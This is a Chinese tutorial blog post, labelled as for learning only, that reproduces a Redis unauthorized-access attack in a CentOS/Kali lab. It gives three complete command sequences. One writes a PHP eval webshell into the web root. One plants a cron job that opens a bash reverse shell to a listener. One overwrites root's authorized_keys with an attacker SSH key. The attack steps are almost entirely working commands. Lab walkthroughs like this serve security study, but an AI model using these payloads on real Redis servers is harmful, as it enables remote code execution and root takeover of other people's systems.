redis未授权访问漏洞(三种方法)

声明:此文章仅用于学习使用

漏洞简介:

        redis 默认情况下,绑定在 0.0.0.0:6379,若没有采用相关的策略,如添加防火墙规则避免其他非信任来源 ip 访问等,会将 redis 服务暴露到公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 redis 以及读取 redis 的数据。攻击者在未授权访问 redis 的情况下,利用 redis 自身的提供的config 命令,可以进行写文件操作,从而可以将自己编写生成的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而使用对应私钥通过ssh服务登录目标服务器。

环境准备:centos7.6(靶机)、kali

影响版本:redis 2.x,3.x,4.x,5.x

目录

一、环境搭建

二、启动环境

三、漏洞利用

1.方法一:写入webshell

1.1 连接redis

1.1.1 相关报错 

1.2 获取getshell

2.方法二:Linux计划任务反弹shell

3.方法三:写入ssh公钥实现ssh登录


一、环境搭建

🌂首先在centos及kali中各自下载redis源码包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

🌂解压源码包,可以不加v,隐藏显示详细信息

tar -zxvf redis-2.8.17.tar.gz 

🌂进入解压后的目录,并创建makefile

1)cd redis-2.8.17/

2)make

🌂centos靶机进入src目录,复制客户端与服务端文件至环境变量目录;返回上级目录复制相关配置文件至/etc下

1)cp redis-server /usr/bin

2)cp redis-cli /usr/bin

3)cp redis.conf /etc

二、启动环境

🌂在靶机新开一个终端,启动redis

redis-server /etc/redis.conf

🌂 kali中验证可以成功连接

./redis-cli -h 靶机ip

🌂 kali使用nmap扫描验证

nmap -p 6379 --script redis-info 靶机ip

三、漏洞利用

1.方法一:写入webshell

1.1 连接redis

🌂连接redis,端口默认为6379

redis-cli -h 靶机ip -p 6379

1.1.1 相关报错 

到这里跟着复现,发现报"(错误)ERR客户端发送了AUTH,但未设置密码"

正常来讲,redis2.8.17默认无密码,因此才会造成我们未授权访问。

如果做未授权访问复现,请忽略以下步骤!!!!!

此处可以使用命令设置一个简单的数字密码,并再次尝试登录,发现可以正常执行

1)config set requirepass 123456

2)auth 123456

ps:flushall                   # 清理缓存,执行后可重新设置密码

🌂接下来继续执行命令,成功进入redis

config get dir

1.2 获取getshell

🌂在/var目录下创建目录,并在redis输入命令

1)mkdir -p /var/www/html/                        # 在非进入redis服务器的终端执行

2)config set dir /var/www/html/                # 设置webshell的存储目录

3)config set dbfilename system.php        # 设置webshell的文件名

4)set shell "\r\n\r\n<?php @eval($_POST[cmd]);?>\r\n\r\n"        # 将一句话木马写入system.php文件中

5)save                                                        # 保存

🌂进入/var/www/html目录下,查看并验证是否执行成功

🌂通过蚁剑或冰蝎等工具连接,此处本机没有搭建php环境,不做演示。小伙伴可在centos自行安装phpstudy方便后续蚁剑等工具连接。

2.方法二:Linux计划任务反弹shell

🌂centos中位置为/var/spool/cron/root,通常没有root文件,因此创建

原理:利用redis数据库备份功能,在不知情网站绝对路径时,利用定时任务检测/etc/crontab内容,将反弹shell的命令使用redis备份到/etc/crontab中,获取反弹shell

1)config set dir /var/spool/cron

2)config set dbfilename root

3)set abc "\n\n\n* * * * * bash -i >& /dev/tcp/靶机ip/6666 0>&1\n\n\n"          # 端口号可自行设定

4)save

🌂新开终端,监听6666端口,等待建立连接,成功获取到shell,可以执行命令

nc -lvp 6666

3.方法三:写入ssh公钥实现ssh登录

🌂在kali生成ssh公钥、私钥,密码为空

ssh-keygen -t rsa

🌂 进入/root/.ssh并将公钥写入key.txt文件

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt        

🌂将key.txt文件传入redis靶机

cat key.txt| redis-cli -h 靶机ip -x set pub

🌂将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存

1)./redis-cli -h 靶机ip

2)config get dir

3)config set dir /root/.ssh

4)config set dbfilename authorized_keys

5)config get dbfilename

6)save

🌂kali使用ssh免密登录centos靶机

ssh -i id_rsa root@靶机ip

至此,三种复现方法结束~

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

学习的小白_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值